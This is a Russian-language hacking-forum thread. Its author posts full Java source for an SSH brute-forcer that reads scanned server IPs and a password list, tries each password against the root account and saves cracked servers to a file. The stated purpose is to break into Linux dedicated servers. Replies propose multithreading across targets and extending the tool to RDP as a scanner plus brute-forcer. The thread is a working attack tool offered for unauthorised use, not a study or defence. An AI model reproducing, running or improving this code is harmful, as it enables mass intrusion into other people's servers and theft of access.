ssh брут под линукс

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by javabarin, 28 Dec 2011.

  1. javabarin

    javabarin New Member

    Joined:
    27 Dec 2011
    Messages:
    11
    Likes Received:
    2
    Reputations:
    0
    Не увидел раздела под божественную яву, по этому решил постануть здесь.
    Появилось желание побрутить линуксовые дедики с помощью гидры, но она на отрез отказывалась работать. Я насканил адреса, подготовил словарик, собрал гидру, а она то висла, то отказывалась открывать сокеты. Тут-то и решил написать свой простой ssh брут на яве. Может кому пригодится:
    Code:
    package sshobaka;
    
    import ch.ethz.ssh2.Connection;
    import java.io.BufferedReader;
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.FileReader;
    import java.io.IOException;
    import java.io.PrintWriter;
    import java.util.ArrayList;
    import java.util.List;
    
    /**
     *
     * @author javabarin
     */
    public class SSHobaka {
        static List<String> srvs = new ArrayList();
        static List<String> pwds = new ArrayList();
        static PrintWriter pWriter = null;
        
        private static void prepare()
        {
            //грузим ip в массив
            try {
                BufferedReader br = new BufferedReader(new FileReader("serverlist.txt"));
                String line;
                
                try {
                    while((line = br.readLine())!=null)
                    {
                        srvs.add(line);
                    }
                } catch (IOException ex) {
                        System.out.println("Ошибка работы с массивом srvs");
                        System.exit(1);
                }
                
            } catch (FileNotFoundException fnfe) {
                System.out.println("Serverlist not found.");
                System.exit(1);
            }
            
            //грузим пароли в массив
            try {
                BufferedReader br = new BufferedReader(new FileReader("pswdlist.txt"));
                String line;
                try {
                    while((line = br.readLine()) != null)
                    {
                        pwds.add(line);
                    }
                } catch (IOException ex) {
                    System.out.println("Ошибка работы с массивом паролей");
                    System.exit(1);
                }
            } catch (FileNotFoundException fff) {
                System.out.println("Passwdlist not found.");
                System.exit(1);
            }
            
            try {
                pWriter = new PrintWriter(new FileOutputStream("good.txt"));
            } catch (FileNotFoundException fnfx) {
                System.out.println("не могу открыть good.txt");
                System.exit(1);
            }
            
            System.out.println("Загружено IP: " + srvs.size() + "\n паролей: " + pwds.size() + "\n Начинаем брутить.");
        }
        
        private static void brutIt()
        {
            String login = "root";
            String pwd;
            String ip;
            Connection conn;
            for(int p=0;p<srvs.size();p++)
            {
                ip = srvs.get(p);
                
                for(int pw=0;pw<pwds.size();pw++)
                {
                    
                    pwd = pwds.get(pw);
                    conn = new Connection(ip);
                    try {
                        conn.connect();
                        System.out.println("** " + ip + " " + login + " " + pwd);
                        boolean isAuth = conn.authenticateWithPassword(login, pwd);
                        if(isAuth)
                        {
                            System.out.println("SUCCESS! " + ip + " " + login + " " + pwd);
                            pWriter.println(ip + " " + login + " " + pwd);
                            pWriter.flush();
                            break;
                        }
                        conn.close();
                    } catch (IOException ex) {
                        System.out.println("не могу соединится с " + ip);
                        break;
                    }
                }
            }
            System.out.println("TEH END!");
            pWriter.close();
        }
        
        /**
         * @param args the command line arguments
         */
        public static void main(String[] args) {
            prepare();
            brutIt();
        }
    }
    он берёт пароли и адреса с файлов, кидает в массивы и подбирает с рут логином. Сбрученые серваки кидает в good.
    Использует ssh либу http://www.ganymed.ethz.ch/ssh2/
     
  2. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    По сути у тебя сейчас получается так, что брутится только один IP адрес пока не кончатся все пароли...
    потом другой адрес.

    Я сам не знаю хороший алгоритм перебора, но если пароль генерируется - я бы сделал так...

    1. Имеем общий массив IP адресов
    2. Генерируем пароль - (или берем из списка)
    3. Создаем N потоков - в каждом потоке присваиваем счетчик I = порядковый номер потока
    4. В потоке делаем цикл и перебираем массив адресов с шагом N - сравнивая с нашим паролем.
    5. Если следующий шаг больше чем IP адресов в массиве - закрываем поток.

    хз, может и тупая реализация, но по идее она позволит "одновременно" для одного пароля проверять N адресов.

    У кого какие идеи? :)
     
    _________________________
  3. javabarin

    javabarin New Member

    Joined:
    27 Dec 2011
    Messages:
    11
    Likes Received:
    2
    Reputations:
    0
    Да ты, собственно, написал то, что я хотел потом реализовать, кроме генерации паролей. Сейчас только с рдп разберусь.
     
  4. javabarin

    javabarin New Member

    Joined:
    27 Dec 2011
    Messages:
    11
    Likes Received:
    2
    Reputations:
    0
    у меня такая идея - сделать сделать коннект сначала по 22 порту, если нет ответа, то кидаем ип во 2й массив который будем прозванивать по 3389. Установить таймаут в 15 сек и получаем простую реализацию сканера+брутфорсера.